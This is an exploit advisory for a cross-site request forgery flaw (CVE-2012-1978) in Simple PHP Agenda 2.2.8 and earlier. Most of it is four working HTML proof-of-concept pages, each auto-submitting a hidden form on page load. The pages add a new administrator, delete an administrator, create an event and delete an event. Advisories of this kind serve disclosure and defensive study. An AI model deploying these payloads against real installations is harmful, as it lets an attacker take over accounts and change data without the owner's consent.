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Simple PHP Agenda 2.2.8 Cross Site Request Forgery

Posted on 31 March 2012

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# Exploit Title : Simple Php Agenda <= 2.2.8 CSRF (Add Admin/Add New Event)
# Date : 29-03-2012
# Author : Ivano Binetti (http://ivanobinetti.com)
# Software link : http://sourceforge.net/projects/php-agenda/files/latest/download
# Version : 2.2.8 and lower
# Tested on : Debian Squeeze (6.0)
# CVE : CVE-2012-1978
# Original Advisory: http://www.webapp-security.com/2012/03/simple-php-agenda/
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Summary
1)Introduction
2)Vulnerabilities Description
3)Exploit
 3.1 Add Administrator
 3.2 Delete Existing Administrator
 3.3 Add a New Event
 3.4 Delete an Existing Event
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1)Introduction
Simple Php Agenda is "a simple agenda tool written in PHP with MySQL backend. An agenda tool accessible everywere there's
internet".

2)Vulnerabilities Description
Simple Php Agenda 2.2.8 (and lower) is affected by a CSRF Vulnerability which allows an attacker to add a new administrator,
delete an existing administrator, create/delete a new event and change any other parameters. In this document I will only
demonstrate how to:
- add a new administrator
- delete a existing administrator
- add a new event
- delete an existing event.
Other parameters can be also modified.

3)Exploit
 3.1 Add Administrator
 <html>
 <body onload="javascript:document.forms[0].submit()">
 <form method="POST" name="form0" action="http://<Simple_Php_Agenda_ip>:80/auth/process.php">
 <input type="hidden" name="user" value="newadmin"/>
 <input type="hidden" name="pass" value="password"/>
 <input type="hidden" name="email" value="email@email.com"/>
 <input type="hidden" name="subjoin" value="1"/>
 </form>
 </body>
 </html>

 3.2 Delete Existing Administrator
 <html>
 <body onload="javascript:document.forms[0].submit()">
 <form method="POST" name="form0" action="http://<Simple_Php_Agenda_ip>:80/auth/admin/adminprocess.php">
 <input type="hidden" name="deluser" value="pippo2"/>
 <input type="hidden" name="subdeluser" value="1"/>
 </form>
 </body>
 </html>

 3.3 Add a New Event
 <html>
 <body onload="javascript:document.forms[0].submit()">
 <form method="POST" name="form0" action="http://<Simple_Php_Agenda_ip>:80/engine/new_event.php">
 <input type="hidden" name="date" value="2012-03-30"/>
 <input type="hidden" name="time" value="16%3A30"/>
 <input type="hidden" name="title" value="new_event_title"/>
 <input type="hidden" name="description" value="event_description"/>
 <input type="hidden" name="newEvent" value="Aggiungi+evento"/>
 </form>
 </body>
 </html>

 3.4 Delete an Existing Event
 <html>
 <body onload="javascript:document.forms[0].submit()">
 <form method="POST" name="form0" action="http://<Simple_Php_Agenda_ip>:80/phpagenda/?deleteEvent=2">
 </form>
 </body>
 </html>
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